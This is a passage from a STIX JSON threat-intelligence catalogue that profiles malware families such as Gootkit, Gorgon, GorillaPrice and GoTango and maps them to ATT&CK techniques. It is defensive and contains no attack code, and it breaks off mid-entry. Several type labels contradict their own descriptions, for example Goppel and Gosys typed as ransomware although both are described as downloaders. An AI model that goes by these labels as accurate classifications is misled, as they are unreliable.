      "id": "relationship--dc0b9960-0b54-5552-bc97-017f8477c846",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37c8ce8d-9fbe-50a7-b6f9-5532bcffdf71",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Goodpic exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7656468b-321a-5666-a507-a134c522c4dc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37c8ce8d-9fbe-50a7-b6f9-5532bcffdf71",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Goodpic exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fceb9659-373a-5e72-abac-9bdc28cbc17d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37c8ce8d-9fbe-50a7-b6f9-5532bcffdf71",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Goodpic exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d5102b57-ffac-5dbe-9990-c9c3966008fb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37c8ce8d-9fbe-50a7-b6f9-5532bcffdf71",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Goodpic exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--966cfab4-79d6-5e2c-bb6e-26db1c87a92c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--37c8ce8d-9fbe-50a7-b6f9-5532bcffdf71",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Goodpic exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0a90e26f-5be0-577d-8477-151abfa1f8d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Google",
      "description": "Adware/PUP:Win32/Google (Fake Updates) refers to malware or highly aggressive Potentially Unwanted Programs (PUPs) that deliberately abuse the 'Google' brand name, logos, or update mechanisms to deceive users into installing them. While Google Chrome and Google Updater are legitimate services, attackers frequently create malicious binaries named `chrome_update.exe` or `google_installer.exe` to bypass user suspicion and deploy adware, browser hijackers, or info-stealers (`T1036.005`).<br><br><b>Understanding 'Fake Google' Malware (Masquerading)</b><br>To an end-user, a pop-up stating 'Your Google Chrome is out of date' seems legitimate and urgent. They click the link, download the file, and assume they are securing their browser. For a security team, this is a classic Social Engineering attack leveraging brand trust. The resulting infection is rarely a highly sophisticated APT, but rather noisy adware that degrades system performance and monetizes user data.<br><br><b>Execution and Masquerading Mechanics</b><br>This malware is usually delivered via malvertising (malicious ads on legitimate sites) or compromised WordPress blogs redirecting users to fake 'Chrome Update' landing pages (`T1189`). Upon execution, the malware relies entirely on masquerading (`T1036.005`)\u2014hiding its true nature by adopting the name, icon, and sometimes even a stolen/invalid digital signature resembling Google Inc. It often establishes persistence by creating Scheduled Tasks named 'GoogleUpdateTaskMachineUA' (mimicking the real Chrome updater) (`T1053.005`), but pointing to the malicious payload in `%AppData%` instead of `%ProgramFiles%`.<br><br><b>Indicators of Compromise & Impact</b><br>The impact ranges from severe browser hijacking (adware) to credential theft, depending on the payload. Host-based IoCs are centered on identifying the masquerade: EDR alerts for executables named `chrome.exe` running from incorrect directories (e.g., `%Temp%` or user profiles instead of `Program Files`), unsigned or improperly signed binaries claiming to be from Google, and anomalous Scheduled Tasks. Network IoCs include the 'updater' communicating with unknown, non-Google domains. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Google",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/google"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bb854556-99b1-56e1-9b35-32e6fe75cb09",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a90e26f-5be0-577d-8477-151abfa1f8d5",
      "target_ref": "attack-pattern--298d5d84-c03c-507d-b182-00cbc8d5fb24",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Google exhibits technique T1036.005 (Masquerading: Match Legitimate Name or Location (Abusing the Google brand to bypass user suspicion))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--293f202d-d20a-52fa-b7ba-070d81dd032a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a90e26f-5be0-577d-8477-151abfa1f8d5",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Google exhibits technique T1189 (Drive-by Compromise (Distribution via fake update pop-ups on compromised sites))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9ef6fc6a-2a5b-5518-8711-0ec9a794124b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a90e26f-5be0-577d-8477-151abfa1f8d5",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Google exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task (Mimicking legitimate Google Update tasks for persistence))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5fc22d4b-a8a7-5562-be47-e2b346a575af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gootkit",
      "description": "Gootkit (cataloged as Trojan:Win32/Gootkit, Trojan.Gootkit, Win32/Gootkit, and intimately intertwined with the GootLoader infection framework) is an advanced, modular malware family first discovered in 2014, distinguished by one of the most unusual and technically complex architectures in contemporary crimeware: embedding an entire NodeJS runtime engine inside a 32-bit and 64-bit Windows PE binary. Rather than relying on compiled native code for its core business logic, Gootkit utilizes a multi-megabyte C++ loader whose sole responsibility is to unpack an embedded NodeJS engine directly into memory. Once initialized, the embedded V8 runtime executes extensive JavaScript payloads that perform rigorous anti-analysis checks, hypervisor detection (VMware, VirtualBox, QEMU), sandbox timing measurements, and API hooking. Gootkit stores serialized JavaScript scripts and configuration blobs directly in the Windows Registry (such as HKCU\\Software\\AppDataLow\\Software\\Microsoft\\), completely bypassing traditional file-on-disk antivirus heuristic scans. Gootkit functions as both a high-tier banking trojan\u2014hooking browser network APIs to conduct Man-in-the-Browser (MitB) financial diversion\u2014and an information stealer harvesting corporate credentials and cryptographic keys. In late 2020, the operators decoupled the infection mechanism into 'GootLoader', an enterprise-grade initial-access distribution network driven by search engine optimization (SEO) poisoning. By compromising thousands of legitimate WordPress blogs and inserting dynamic fake message boards containing keywords like 'agreement template', 'contract sample', and 'legal release', GootLoader lures corporate employees into downloading malicious ZIP archives containing obfuscated JScript scripts. These scripts ultimately stage Cobalt Strike beacons, REvil, and Gootkit implants across corporate networks. (Observed samples in benchmark: 13)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Gootkit",
        "Trojan.Gootkit",
        "GootLoader",
        "Win32/Gootkit",
        "Gootkit Banking Trojan"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gootkit",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gootkit"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1bb2badd-e167-580b-b10a-77354d814e97",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Goppel",
      "description": "Trojan:Win32/Goppel is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Goppel</b><br>To an end-user, a Goppel infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Goppel is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Goppel is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Goppel frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Goppel reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Goppel",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/goppel"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d09a4871-a3f3-5c69-b264-e01d0e9a3b4a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1bb2badd-e167-580b-b10a-77354d814e97",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Goppel exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a7bae2b8-8baf-5209-a174-2511328fa421",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1bb2badd-e167-580b-b10a-77354d814e97",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Goppel exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--34deb558-4703-5b27-b191-0b2bf08e1427",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1bb2badd-e167-580b-b10a-77354d814e97",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Goppel exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9321a0f5-e16f-5e5d-9fd6-a53bc2e03f78",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1bb2badd-e167-580b-b10a-77354d814e97",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Goppel exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cef971a1-2f92-5ced-8274-1e1fb107e70d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1bb2badd-e167-580b-b10a-77354d814e97",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Goppel exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9b1061c3-4229-55e0-b3b2-01c87ce50812",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gorgon",
      "description": "Gorgon (tracked in threat intelligence as The Gorgon Group, Backdoor:Win32/Gorgon, and Trojan:Win32/Gorgon) is a cyber espionage and targeted crimeware toolset linked to a suspected Pakistani threat actor group operating since 2018. Gorgon campaigns conduct spear-phishing attacks against governmental, military, and diplomatic entities in the UK, Spain, Russia, and the United States, as well as private sector enterprises. The group utilizes weaponized Microsoft Office documents containing CVE-2017-0199 or CVE-2017-11882 exploits to deliver multi-stage VBScript, PowerShell, and AutoIt loaders. Once executed, Gorgon payloads drop commercial and custom remote access trojans (including njRAT, Remcos, and custom backdoors) to establish persistent C2 access, conduct surveillance, and steal sensitive diplomatic and corporate files. (Observed samples in benchmark: 13)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Gorgon",
        "Backdoor:Win32/Gorgon",
        "The Gorgon Group",
        "Gorgon APT",
        "Win32/Gorgon"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gorgon",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gorgon"
        }
      ],
      "labels": [
        "apt",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--165e6545-c7fb-56b2-8643-ccfd3ed36f17",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9b1061c3-4229-55e0-b3b2-01c87ce50812",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gorgon exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2daee2c7-fa88-5d9c-aabe-7bcd8519195d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9b1061c3-4229-55e0-b3b2-01c87ce50812",
      "target_ref": "attack-pattern--be10f842-949a-5910-87e6-3068819d42e6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gorgon exhibits technique T1190 (Exploit Public-Facing Application (CVE-2017-11882))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7a594cc2-0ef3-50e5-a602-911a3d147cbc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9b1061c3-4229-55e0-b3b2-01c87ce50812",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gorgon exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--848e7abe-5cb8-554f-bec8-dcf7f3c9de8d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9b1061c3-4229-55e0-b3b2-01c87ce50812",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gorgon exhibits technique T1056.001 (Input Capture: Keylogging (via commodity RATs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ac53707-112c-5ed2-b339-7c1bcb4ba02a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9b1061c3-4229-55e0-b3b2-01c87ce50812",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gorgon exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--de7d8a3f-4ca1-529d-a356-3de8744340a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gorillaprice",
      "description": "GorillaPrice (cataloged across endpoint security telemetry and antimalware engines under signatures including Adware:Win32/GorillaPrice, PUA:Win32/GorillaPrice, and PUP.Optional.GorillaPrice) is an aggressive shopping adware and browser-modifying potentially unwanted application active since 2014. Marketed to consumers as a helpful comparison-shopping and discount coupon utility, GorillaPrice typically arrives bundled with freeware downloads, deceptive browser extension packages, and media players. Once installed, GorillaPrice runs persistent background processes and installs extension hooks into Google Chrome, Mozilla Firefox, and Internet Explorer. As users navigate e-commerce and retail portals (such as Amazon, eBay, or Walmart), GorillaPrice intercepts visited URLs, scrapes product keywords, and injects intrusive overlay price comparison widgets, deceptive discount banners, and sponsored redirection links into legitimate shopping pages, monetizing traffic through affiliate marketing commissions. (Observed samples in benchmark: 34)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/GorillaPrice",
        "PUA:Win32/GorillaPrice",
        "PUP.Optional.GorillaPrice",
        "Adware.GorillaPrice",
        "Win32/GorillaPrice",
        "GorillaPrice Shopping Assistant"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gorillaprice",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gorillaprice"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6ab2778a-9de9-501e-95ed-1645e2186afa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gosys",
      "description": "<h3>Executive Summary</h3>\nGosys is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nGosys is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Gosys operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Gosys ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Gosys receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Gosys infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Gosys executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Gosys frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Gosys",
        "Downloader.Gosys",
        "Win32/Gosys"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gosys",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gosys"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--caf50048-aa58-5201-89c5-4ccc7a5c3ac1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6ab2778a-9de9-501e-95ed-1645e2186afa",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gosys exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cb5a8604-1ab0-561c-b468-1a1f880e818c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6ab2778a-9de9-501e-95ed-1645e2186afa",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gosys exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d21fd02b-2a74-51d4-ba54-a36bb1635fa4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6ab2778a-9de9-501e-95ed-1645e2186afa",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gosys exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e0b259c4-01f7-59cb-9434-48c24e3bae66",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gotango",
      "description": "GoTango (classified as BrowserModifier:Win32/GoTango and Adware:Win32/GoTango across Microsoft Defender, Malwarebytes, and Trend Micro) is an aggressive browser modifier and adware toolbar bundled with freeware downloads and deceptive online media converters. Once executed, GoTango silently modifies browser configurations across Chrome, Firefox, and Internet Explorer without user consent. It changes the default search provider, start page, and new tab URLs to ad-supported portal domains (such as search.gotango.com). It hooks browser network sockets to intercept search queries, inject sponsored links and pop-up ads into browsing sessions, and collects user navigation history and hardware telemetry for monetization. GoTango creates autostart registry entries and persistent background updater services to resist manual uninstallation. (Observed samples in benchmark: 15)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "BrowserModifier:Win32/GoTango",
        "Adware:Win32/GoTango",
        "PUA:Win32/GoTango",
        "GoTango Toolbar",
        "Win32/GoTango"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Gotango",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/gotango"
        }
      ],
      "labels": [
        "browser_modifier",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4fe21651-b42d-5107-a1b9-e542c3b69aaf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e0b259c4-01f7-59cb-9434-48c24e3bae66",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gotango exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e95e5d89-4b51-5757-991d-6b2935065652",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e0b259c4-01f7-59cb-9434-48c24e3bae66",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gotango exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0db513d0-501b-53de-8b2f-f2eb2a29337a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e0b259c4-01f7-59cb-9434-48c24e3bae66",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gotango exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e0202222-f442-5712-a0ba-5f53749335c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e0b259c4-01f7-59cb-9434-48c24e3bae66",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gotango exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c260ef9c-2729-5e34-99e8-147e11543cfc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e0b259c4-01f7-59cb-9434-48c24e3bae66",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Gotango exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--977ffb68-7977-5dbb-8c6d-8c97b9b2d1a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Gottle",
